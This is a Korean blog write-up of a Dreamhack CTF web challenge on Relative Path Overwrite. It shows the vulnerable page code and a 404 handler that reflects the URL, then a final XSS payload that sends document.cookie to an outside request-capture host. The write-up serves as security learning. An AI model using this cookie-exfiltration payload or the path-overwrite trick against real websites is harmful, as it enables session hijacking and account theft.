본문 바로가기

웹해킹

드림핵 Relative Path Overwrite Advanced 롸업

<script src="filter.js"></script>
<pre id=param></pre>
<script>
    var param_elem = document.getElementById("param");
    var url = new URL(window.location.href);
    var param = url.searchParams.get("param");
    if (typeof filter === 'undefined') {
        param = "nope !!";
    }
    else {
        for (var i = 0; i < filter.length; i++) {
            if (param.toLowerCase().includes(filter[i])) {
                param = "nope !!";
                break;
            }
        }
    }

    param_elem.innerHTML = param;
</script>

코드를 보면 filter.js가 로드되지 않으면 무조건 nope이 뜬다. 

그런데 filter.js가 static 폴더 안에 담겨 있어서 아무짓도 안해도 그냥 nope이 뜬다.

 

이전 문제에서는 없던 404.php를 보면

<?php 
    header("HTTP/1.1 200 OK");
    echo $_SERVER["REQUEST_URI"] . " not found."; 
?>

이렇게 요청된 url을 출력하고 not found라고 띄운다.

잘못된 url을 조작해서 XSS 공격을 할 수 있을 거 같다.

이렇게 url에 index.php/dddd로 잘못된 경로로 filter.js를 로드하면 내가 입력한 dddd값이 코드에 포함된다.

 

report에서

index.php/;location.href='https://ipprkke.request.dreamhack.games/'+document.cookie//?page=vuln&param=dreamhack

이렇게 요청을 보내면

flag가 잘 나온다.

'웹해킹' 카테고리의 다른 글

드림핵 XS-Search 롸업  (0) 2023.11.26
DOM & Javascript  (0) 2023.11.26
드림핵 Relative Path Overwrite 롸업  (0) 2023.11.26
Relative Path Overwrite  (0) 2023.11.26
드림핵 CSS Injection 롸업  (0) 2023.11.26